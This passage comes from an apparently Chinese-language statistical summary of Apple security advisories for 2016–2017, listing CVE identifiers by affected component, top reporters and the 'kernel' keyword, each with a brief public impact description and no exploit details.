CVE-2017-7001: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7002: Processing maliciously crafted web content may lead to
arbitrary code execution
### 07: apache, 13
CVE-2017-9798: Processing a maliciously crafted Apache configuration directive
may result in the disclosure of process memory
CVE-2016-0736: Multiple issues in Apache
CVE-2016-2161: Multiple issues in Apache
CVE-2016-5387: Multiple issues in Apache
CVE-2016-8740: Multiple issues in Apache
CVE-2016-8743: Multiple issues in Apache
CVE-2017-3167: Multiple issues in Apache
CVE-2017-3169: Multiple issues in Apache
CVE-2017-7659: Multiple issues in Apache
CVE-2017-7668: Multiple issues in Apache
CVE-2017-7679: Multiple issues in Apache
CVE-2017-9788: Multiple issues in Apache
CVE-2017-9789: Multiple issues in Apache
### 08: Wi-Fi, 13
CVE-2017-11120: An attacker within range may be able to execute arbitrary code
on the Wi-Fi chip
CVE-2017-11121: An attacker within range may be able to execute arbitrary code
on the Wi-Fi chip
CVE-2017-7103: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application processor
CVE-2017-7105: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application processor
CVE-2017-7108: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application processor
CVE-2017-7110: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application processor
CVE-2017-7112: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application processor
CVE-2017-7115: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application processor
CVE-2017-7116: Malicious code executing on the Wi-Fi chip may be able to read
restricted kernel memory
CVE-2017-11122: A attacker within range may be able to read restricted memory
from the Wi-Fi chipset
CVE-2017-7065: An attacker within range may be able to execute arbitrary code
on the Wi-Fi chip
CVE-2017-7066: An attacker in Wi-Fi range may be able to cause a denial of
service on the Wi-Fi chip
CVE-2017-6975: An attacker within range may be able to execute arbitrary code
on the Wi-Fi chip
### 09: Safari, 12
CVE-2017-13790: Visiting a malicious website may lead to address bar spoofing
CVE-2017-13789: Visiting a malicious website may lead to address bar spoofing
CVE-2017-7085: Visiting a malicious website may lead to address bar spoofing
CVE-2017-2517: Visiting a malicious website may lead to address bar spoofing
CVE-2017-2495: Visiting a maliciously crafted webpage may lead to an
application denial of service
CVE-2017-2500: Visiting a malicious website may lead to address bar spoofing
CVE-2017-2511: Visiting a malicious website may lead to address bar spoofing
CVE-2017-2376: Visiting a malicious website may lead to address bar spoofing
CVE-2017-2384: A local user may be able to discover websites a user has
visited in Private Browsing
CVE-2017-2389: Processing maliciously crafted web content may present
authentication sheets over arbitrary web sites
CVE-2017-2453: Visiting a malicious website by clicking a link may lead to
user interface spoofing
CVE-2017-2359: Visiting a malicious website may lead to address bar spoofing
### 10: Security, 2017: 12, 2016: 8
CVE-2017-7150: A malicious application can extract keychain passwords
CVE-2017-7080: A revoked certificate may be trusted
CVE-2017-7146: A malicious app may be able to track users between installs
CVE-2017-2535: An application may be able to escape its sandbox
CVE-2017-7004: A local application may be able to send privileged XPC messages
without entitlements
CVE-2017-2498: Update to the certificate trust policy
CVE-2017-2451: An application may be able to execute arbitrary code with root
privileges
CVE-2017-2485: Processing a maliciously crafted x509 certificate may lead to
arbitrary code execution
CVE-2017-2423: Validating empty signatures with SecKeyRawVerify() may
unexpectedly succeed
CVE-2016-4693: An attacker may be able to exploit weaknesses in the 3DES
cryptographic algorithm
CVE-2016-7636: An attacker in a privileged network position may be able to
cause a denial of service
CVE-2016-7662: Certificates may be unexpectedly evaluated as trusted
### 11: ntp, 10
CVE-2017-6451: Multiple issues in ntp
CVE-2017-6452: Multiple issues in ntp
CVE-2017-6455: Multiple issues in ntp
CVE-2017-6458: Multiple issues in ntp
CVE-2017-6459: Multiple issues in ntp
CVE-2017-6460: Multiple issues in ntp
CVE-2017-6462: Multiple issues in ntp
CVE-2017-6463: Multiple issues in ntp
CVE-2017-6464: Multiple issues in ntp
CVE-2016-9042: Multiple issues in ntp
### 12: libarchive, 8
CVE-2017-13813: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
CVE-2017-13816: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
CVE-2017-13812: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
CVE-2016-4736: An application may be able to read restricted memory
CVE-2017-7068: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
CVE-2017-2390: A local attacker may be able to change file system permissions
on arbitrary directories
CVE-2016-8687: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
CVE-2016-7619: A local attacker may be able to overwrite existing files
### 13: Bluetooth, 2017: 8, 2016: 6
CVE-2017-7131: An application may be able to access restricted files
CVE-2017-7050: An application may be able to execute arbitrary code with
system privileges
CVE-2017-7051: An application may be able to execute arbitrary code with
system privileges
CVE-2017-7054: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2420: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2427: A malicious application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2449: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2353: An application may be able to execute arbitrary code with
kernel privileges
### 14: apache_mod_php, 2017: 8, 2016: 36
CVE-2016-10158: Multiple issues existed in PHP before 5.6.30
CVE-2016-10159: Multiple issues existed in PHP before 5.6.30
CVE-2016-10160: Multiple issues existed in PHP before 5.6.30
CVE-2016-10161: Multiple issues existed in PHP before 5.6.30
CVE-2016-9935: Multiple issues existed in PHP before 5.6.30
CVE-2016-8670: Multiple issues in PHP
CVE-2016-9933: Multiple issues in PHP
CVE-2016-9934: Multiple issues in PHP
### 15: curl, 2017: 7, 2016: 17
CVE-2017-1000254: Malicious FTP servers may be able to cause the client to
read out-of-bounds memory
CVE-2017-1000100: Uploading using TFTP to a maliciously crafted URL with
libcurl may disclose application memory
CVE-2017-1000101: Processing a maliciously crafted URL with libcurl may cause
unexpected application termination or read process memory
CVE-2016-9586: Multiple issues in curl
CVE-2016-9594: Multiple issues in curl
CVE-2017-2629: Multiple issues in curl
CVE-2017-7468: Multiple issues in curl
### 16: CoreText, 7
CVE-2017-13849: Processing a maliciously crafted text file may lead to an
unexpected application termination
CVE-2017-13825: Processing a maliciously crafted font file may lead to
arbitrary code execution
CVE-2017-7003: Processing a maliciously crafted file may lead to application
termination
CVE-2017-2435: Processing a maliciously crafted font file may lead to
arbitrary code execution
CVE-2017-2450: Processing a maliciously crafted font may result in the
disclosure of process memory
CVE-2017-2461: Processing a maliciously crafted text message may lead to
application denial of service
CVE-2016-7595: Processing a maliciously crafted font file may lead to
arbitrary code execution
### 17: file, 7
CVE-2017-13815: Multiple issues in file
CVE-2017-7121: Multiple issues in file
CVE-2017-7122: Multiple issues in file
CVE-2017-7123: Multiple issues in file
CVE-2017-7124: Multiple issues in file
CVE-2017-7125: Multiple issues in file
CVE-2017-7126: Multiple issues in file
### 18: ImageIO, 2017: 7, 2016: 14
CVE-2017-13814: Processing a maliciously crafted image may lead to arbitrary
code execution
CVE-2017-13831: Processing a maliciously crafted image may lead to a denial of
service
CVE-2017-2416: Processing a maliciously crafted image may lead to arbitrary
code execution
CVE-2017-2432: Viewing a maliciously crafted JPEG file may lead to arbitrary
code execution
CVE-2017-2467: Processing a maliciously crafted file may lead to an unexpected
application termination or arbitrary code execution
CVE-2016-3619: Processing a maliciously crafted image may lead to unexpected
application termination
CVE-2016-7643: A remote attacker may be able to leak memory
### 19: AVEVideoEncoder, 7
CVE-2017-6989: An application may be able to gain kernel privileges
CVE-2017-6994: An application may be able to gain kernel privileges
CVE-2017-6995: An application may be able to gain kernel privileges
CVE-2017-6996: An application may be able to gain kernel privileges
CVE-2017-6997: An application may be able to gain kernel privileges
CVE-2017-6998: An application may be able to gain kernel privileges
CVE-2017-6999: An application may be able to gain kernel privileges
### 20: tiffutil, 7
CVE-2016-9533: Processing a maliciously crafted image may lead to unexpected
application termination
CVE-2016-9535: Processing a maliciously crafted image may lead to unexpected
application termination
CVE-2016-9536: Processing a maliciously crafted image may lead to unexpected
application termination
CVE-2016-9537: Processing a maliciously crafted image may lead to unexpected
application termination
CVE-2016-9538: Processing a maliciously crafted image may lead to unexpected
application termination
CVE-2016-9539: Processing a maliciously crafted image may lead to unexpected
application termination
CVE-2016-9540: Processing a maliciously crafted image may lead to unexpected
application termination
## 五、漏洞报告人
2017 报告漏洞的人数: 224
2016 报告漏洞的人数: 261
## 六、Top 20 个人:
### 01: lokihardt of Google Project Zero, 37
CVE-2017-7117: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7018: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7037: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7056: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7061: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7064: WebKit, An application may be able to read restricted memory
CVE-2017-7005: JavaScriptCore, Processing maliciously crafted web content may
lead to unexpected application termination or arbitrary code execution
CVE-2017-2504: WebKit, Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2505: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2515: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2521: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2531: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-6980: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-6984: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2549: WebKit, Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2514: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2508: WebKit, Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2510: WebKit, Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2528: WebKit, Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2479: WebKit, Processing maliciously crafted web content may
exfiltrate data cross-origin
CVE-2017-2480: WebKit, Processing maliciously crafted web content may
exfiltrate data cross-origin
CVE-2017-2493: WebKit, Processing maliciously crafted web content may
exfiltrate data cross-origin
CVE-2017-2492: JavaScriptCore, Processing a maliciously crafted web page may
lead to universal cross site scripting
CVE-2017-2456: Kernel, A malicious application may be able to execute
arbitrary code with root privileges
CVE-2017-2468: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2469: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2470: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2367: WebKit, A malicious website may exfiltrate data cross-origin
CVE-2017-2445: WebKit, Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2475: WebKit, Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2457: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2364: WebKit, Processing maliciously crafted web content may
exfiltrate data cross-origin
CVE-2017-2442: WebKit JavaScript Bindings, Processing maliciously crafted web
content may exfiltrate data cross-origin
CVE-2017-2363: WebKit, Processing maliciously crafted web content may
exfiltrate data cross-origin
CVE-2017-2365: WebKit, Processing maliciously crafted web content may
exfiltrate data cross-origin
CVE-2017-2361: Help Viewer, Processing maliciously crafted web content may
lead to arbitrary code execution
CVE-2017-2371: WebKit, A malicious website can open popups
### 02: Ian Beer of Google Project Zero, 2017: 32, 2016: 29
CVE-2017-13878: Intel Graphics Driver, A local user may be able to cause
unexpected system termination or read kernel memory
CVE-2017-13875: Intel Graphics Driver, An application may be able to execute
arbitrary code with system privileges
CVE-2017-13847: IOKit, An application may be able to execute arbitrary code
with system privileges
CVE-2017-13867: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-13876: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-13865: Kernel, An application may be able to read restricted memory
CVE-2017-13861: IOSurface, An application may be able to execute arbitrary
code with kernel privileges
CVE-2017-7047: libxpc, An application may be able to execute arbitrary code
with system privileges
CVE-2017-2522: CoreFoundation, Parsing maliciously crafted data may lead to
arbitrary code execution
CVE-2017-2523: Foundation, Parsing maliciously crafted data may lead to
arbitrary code execution
CVE-2017-2501: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2507: Kernel, An application may be able to read restricted memory
CVE-2017-2524: TextInput, Parsing maliciously crafted data may lead to
arbitrary code execution
CVE-2017-6978: Accessibility Framework, An application may be able to gain
system privileges
CVE-2017-2527: CoreAnimation, Processing maliciously crafted data may lead to
arbitrary code execution
CVE-2017-7004: Security, A local application may be able to send privileged
XPC messages without entitlements
CVE-2017-2472: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2473: Kernel, A malicious application may be able to execute
arbitrary code with kernel privileges
CVE-2017-2474: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2478: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2482: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2483: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2443: Intel Graphics Driver, An application may be able to execute
arbitrary code with kernel privileges
CVE-2017-2489: Intel Graphics Driver, An application may be able to disclose
kernel memory
CVE-2017-2353: Bluetooth, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2370: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2360: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2016-7612: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2016-7621: Kernel, A local user may be able to cause an unexpected system
termination or arbitrary code execution in the kernel
CVE-2016-7637: Kernel, A local user may be able to gain root privileges
CVE-2016-7644: Kernel, A local application with system privileges may be able
to execute arbitrary code with kernel privileges
CVE-2016-7660: syslog, A local user may be able to gain root privileges
### 03: Ivan Fratric of Google Project Zero, 28
CVE-2017-13783: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13784: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13785: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13791: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13792: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13794: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13795: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13796: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13797: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13798: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13802: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7039: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7040: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7041: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7042: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7043: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7046: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7048: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7049: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2455: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2459: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2460: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2466: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2476: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2471: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2362: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2373: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2369: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
### 04: found by OSS-Fuzz, 20
CVE-2017-3735: OpenSSL, An application may be able to read restricted memory
CVE-2017-13813: libarchive, Unpacking a maliciously crafted archive may lead
to arbitrary code execution
CVE-2017-13816: libarchive, Unpacking a maliciously crafted archive may lead
to arbitrary code execution
CVE-2017-13812: libarchive, Unpacking a maliciously crafted archive may lead
to arbitrary code execution
CVE-2017-7121: file, Multiple issues in file
CVE-2017-7122: file, Multiple issues in file
CVE-2017-7123: file, Multiple issues in file
CVE-2017-7124: file, Multiple issues in file
CVE-2017-7125: file, Multiple issues in file
CVE-2017-7126: file, Multiple issues in file
CVE-2017-10989: SQLite, Multiple issues in SQLite
CVE-2017-7128: SQLite, Multiple issues in SQLite
CVE-2017-7129: SQLite, Multiple issues in SQLite
CVE-2017-7130: SQLite, Multiple issues in SQLite
CVE-2017-7068: libarchive, Unpacking a maliciously crafted archive may lead to
arbitrary code execution
CVE-2017-7013: libxml2, Parsing a maliciously crafted XML document may lead to
disclosure of user information
CVE-2017-2513: SQLite, A maliciously crafted SQL query may lead to arbitrary
code execution
CVE-2017-2518: SQLite, A maliciously crafted SQL query may lead to arbitrary
code execution
CVE-2017-2520: SQLite, A maliciously crafted SQL query may lead to arbitrary
code execution
CVE-2017-2519: SQLite, A maliciously crafted SQL query may lead to arbitrary
code execution
### 05: Apple, 2017: 18, 2016: 60
CVE-2017-13862: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-13879: IOMobileFrameBuffer, An application may be able to execute
arbitrary code with kernel privilege
CVE-2017-7081: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7087: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7099: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7090: WebKit, Cookies belonging to one origin may be sent to another
origin
CVE-2017-7010: libxml2, Parsing a maliciously crafted XML document may lead to
disclosure of user information
CVE-2017-7012: WebKit Web Inspector, Processing maliciously crafted web
content may lead to arbitrary code execution
CVE-2017-2496: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2491: JavaScriptCore, Processing maliciously crafted web content may
lead to arbitrary code execution
CVE-2017-2394: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2396: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2395: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2433: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2405: WebKit Web Inspector, Processing maliciously crafted web
content may lead to arbitrary code execution
CVE-2017-2410: Kernel, A malicious application may be able to execute
arbitrary code with kernel privileges
CVE-2016-7662: Security, Certificates may be unexpectedly evaluated as trusted
CVE-2016-7589: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
### 06: Gal Beniamini of Google Project Zero, 13
CVE-2017-11120: Wi-Fi, An attacker within range may be able to execute
arbitrary code on the Wi-Fi chip
CVE-2017-11121: Wi-Fi, An attacker within range may be able to execute
arbitrary code on the Wi-Fi chip
CVE-2017-7103: Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to execute arbitrary code with kernel privileges on the application processor
CVE-2017-7105: Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to execute arbitrary code with kernel privileges on the application processor
CVE-2017-7108: Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to execute arbitrary code with kernel privileges on the application processor
CVE-2017-7110: Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to execute arbitrary code with kernel privileges on the application processor
CVE-2017-7112: Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to execute arbitrary code with kernel privileges on the application processor
CVE-2017-7115: Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to execute arbitrary code with kernel privileges on the application processor
CVE-2017-7116: Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to read restricted kernel memory
CVE-2017-11122: Wi-Fi, A attacker within range may be able to read restricted
memory from the Wi-Fi chipset
CVE-2017-7065: Wi-Fi, An attacker within range may be able to execute
arbitrary code on the Wi-Fi chip
CVE-2017-7066: Wi-Fi, An attacker in Wi-Fi range may be able to cause a denial
of service on the Wi-Fi chip
CVE-2017-6975: Wi-Fi, An attacker within range may be able to execute
arbitrary code on the Wi-Fi chip
### 07: riusksk (泉哥) of Tencent Security Platform Department, 2017: 12, 2016:
4
CVE-2017-7076: ld64, Parsing a maliciously crafted Mach-O file may lead to
arbitrary code execution
CVE-2017-7134: ld64, Parsing a maliciously crafted Mach-O file may lead to
arbitrary code execution
CVE-2017-7135: ld64, Parsing a maliciously crafted Mach-O file may lead to
arbitrary code execution
CVE-2017-7136: ld64, Parsing a maliciously crafted Mach-O file may lead to
arbitrary code execution
CVE-2017-7137: ld64, Parsing a maliciously crafted Mach-O file may lead to
arbitrary code execution
CVE-2017-7016: afclip, Processing a maliciously crafted audio file may lead to
arbitrary code execution
CVE-2017-7033: afclip, Processing a maliciously crafted audio file may lead to
arbitrary code execution
CVE-2017-7015: Audio, Processing a maliciously crafted audio file may disclose
restricted memory
CVE-2017-2417: CoreGraphics, Processing a maliciously crafted image may lead
to a denial of service
CVE-2017-2487: FontParser, Processing a maliciously crafted font file may lead
to arbitrary code execution
CVE-2017-2406: FontParser, Processing a maliciously crafted font file may lead
to arbitrary code execution
CVE-2017-2407: FontParser, Parsing a maliciously crafted font file may lead to
an unexpected application termination or arbitrary code execution
### 08: xisigr of Tencent’s Xuanwu Lab (tencent.com), 2017: 9, 2016: 6
CVE-2017-13788: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13789: Safari, Visiting a malicious website may lead to address bar
spoofing
CVE-2017-13801: Dictionary Widget, Searching pasted text in the Dictionary
widget may lead to compromise of user information
CVE-2017-7085: Safari, Visiting a malicious website may lead to address bar
spoofing
CVE-2017-7011: WebKit, Visiting a malicious website may lead to address bar
spoofing
CVE-2017-2517: Safari, Visiting a malicious website may lead to address bar
spoofing
CVE-2017-2453: Safari, Visiting a malicious website by clicking a link may
lead to user interface spoofing
CVE-2017-2378: WebKit, Dragging and dropping a maliciously crafted link may
lead to bookmark spoofing or arbitrary code execution
CVE-2017-2359: Safari, Visiting a malicious website may lead to address bar
spoofing
### 09: Cure53, 9
CVE-2017-6451: ntp, Multiple issues in ntp
CVE-2017-6452: ntp, Multiple issues in ntp
CVE-2017-6455: ntp, Multiple issues in ntp
CVE-2017-6458: ntp, Multiple issues in ntp
CVE-2017-6459: ntp, Multiple issues in ntp
CVE-2017-6460: ntp, Multiple issues in ntp
CVE-2017-6462: ntp, Multiple issues in ntp
CVE-2017-6463: ntp, Multiple issues in ntp
CVE-2017-6464: ntp, Multiple issues in ntp
### 10: Adam Donenfeld (@doadam) of the Zimperium zLabs Team, 8
CVE-2017-6989: AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6994: AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6995: AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6996: AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6997: AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6998: AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6999: AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6979: IOSurface, An application may be able to gain kernel privileges
### 11: Chaitin Security Research Lab (@ChaitinTech) working with Trend
Micro’s Zero Day Initiative, 8
CVE-2017-6990: HFS, An application may be able to read restricted memory
CVE-2017-2546: Kernel, An application may be able to gain kernel privileges
CVE-2017-6983: SQLite, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-6991: SQLite, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7000: SQLite, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7001: SQLite, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7002: SQLite, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2537: WindowServer, An application may be able to gain system
privileges
### 12: shrek_wzw of Qihoo 360 Nirvan Team, 2017: 8, 2016: 4
CVE-2017-13853, AppleGraphicsControl, An application may be able to execute
arbitrary code with kernel privileges
CVE-2017-13854: Kernel, An application may be able to execute arbitrary code
with system privileges
CVE-2017-7009: IOUSBFamily, An application may be able to execute arbitrary
code with kernel privileges
CVE-2017-7035: Intel Graphics Driver, An application may be able to execute
arbitrary code with system privileges
CVE-2017-7044: Intel Graphics Driver, An application may be able to execute
arbitrary code with system privileges
CVE-2017-7036: Intel Graphics Driver, An application may be able to read
restricted memory
CVE-2017-7045: Intel Graphics Driver, An application may be able to read
restricted memory
CVE-2017-7067: Kernel, An application may be able to read restricted memory
### 13: Jann Horn of Google Project Zero, 6
CVE-2017-13855: Kernel, An application may be able to read restricted memory
CVE-2017-13869: Kernel, An application may be able to read restricted memory
CVE-2017-7154: Kernel, A local user may be able to cause unexpected system
termination or read kernel memory
CVE-2017-2494: Kernel, An application may be able to gain kernel privileges
CVE-2017-2509: Kernel, An application may be able to read restricted memory
CVE-2017-2516: Kernel, An application may be able to read restricted memory
### 14: John Villamil, Doyensec, 5
CVE-2017-13820: ATS, Processing a maliciously crafted font may result in the
disclosure of process memory
CVE-2017-13850: Font Importer, Processing a maliciously crafted font may
result in the disclosure of process memory
CVE-2017-2435: CoreText, Processing a maliciously crafted font file may lead
to arbitrary code execution
CVE-2017-2450: CoreText, Processing a maliciously crafted font may result in
the disclosure of process memory
CVE-2017-2439: FontParser, Processing a maliciously crafted font may result in
the disclosure of process memory
### 15: Australian Cyber Security Centre – Australian Signals Directorate, 5
CVE-2017-13821: CFString, An application may be able to read restricted memory
CVE-2017-13825: CoreText, Processing a maliciously crafted font file may lead
to arbitrary code execution
CVE-2017-13814: ImageIO, Processing a maliciously crafted image may lead to
arbitrary code execution
CVE-2017-13822: Quick Look, An application may be able to read restricted
memory
CVE-2017-7132: Quick Look, Parsing a maliciously crafted office document may
lead to an unexpected application termination or arbitrary code execution
### 16: Samuel Groß and Niklas Baumstark working with Trend Micro’s Zero Day
Initiative, 5
CVE-2017-2536: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2533: DiskArbitration, An application may be able to gain system
privileges
CVE-2017-2535: Security, An application may be able to escape its sandbox
CVE-2017-2534: Speech Framework, An application may be able to escape its
sandbox
CVE-2017-6977: Speech Framework, An application may be able to escape its
sandbox
### 17: Brandon Azad, 2017: 4, 2016: 13
CVE-2017-13833: Kernel, An application may be able to read restricted memory
CVE-2017-13868: Kernel, An application may be able to read restricted memory
CVE-2017-7077: IOFireWireFamily, An application may be able to execute
arbitrary code with system privileges
CVE-2016-7607: Kernel, An application may be able to read kernel memory
### 18: Lufeng Li of Qihoo 360 Vulcan Team, 2017: 4, 2016: 4
CVE-2017-13799: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2401: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2398: Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2016-7647: Kernel, An application may be able to cause a denial of service
### 19: Patrick Wardle of Synack, 4
CVE-2017-7150: Security, A malicious application can extract keychain
passwords
CVE-2017-13837: Installer, A malicious application may be able to access the
FileVault unlock key
CVE-2017-6987: Kernel, An application may be able to read restricted memory
CVE-2017-6974: System Integrity Protection, A malicious application may be
able to modify protected disk locations
### 20: Richard Zhu (fluorescence) working with Trend Micro’s Zero Day
Initiative, 4
CVE-2017-2538: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2539: WebKit, Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2541: WindowServer, An application may be able to gain system
privileges
CVE-2017-2540: WindowServer, An application may be able to read restricted
memory
## 关键字: kernel, 2017 漏洞数: 79, 2016 漏洞数: 114
CVE-2017-13883, Intel Graphics Driver, An application may be able to execute
arbitrary code with kernel privileges
CVE-2017-7163, Intel Graphics Driver, An application may be able to execute
arbitrary code with kernel privileges
CVE-2017-7155, Intel Graphics Driver, An application may be able to execute
arbitrary code with kernel privileges
CVE-2017-13878, Intel Graphics Driver, A local user may be able to cause
unexpected system termination or read kernel memory
CVE-2017-7162, IOKit, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-13862, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-13867, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-13876, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-7154, Kernel, A local user may be able to cause unexpected system
termination or read kernel memory
CVE-2017-13861, IOSurface, An application may be able to execute arbitrary
code with kernel privileges
CVE-2017-13879, IOMobileFrameBuffer, An application may be able to execute
arbitrary code with kernel privilege
CVE-2017-13799, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-13817, Kernel, A local user may be able to read kernel memory
CVE-2017-13843, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-7114, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-7103, Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to execute arbitrary code with kernel privileges on the application processor
CVE-2017-7105, Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to execute arbitrary code with kernel privileges on the application processor
CVE-2017-7108, Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to execute arbitrary code with kernel privileges on the application processor
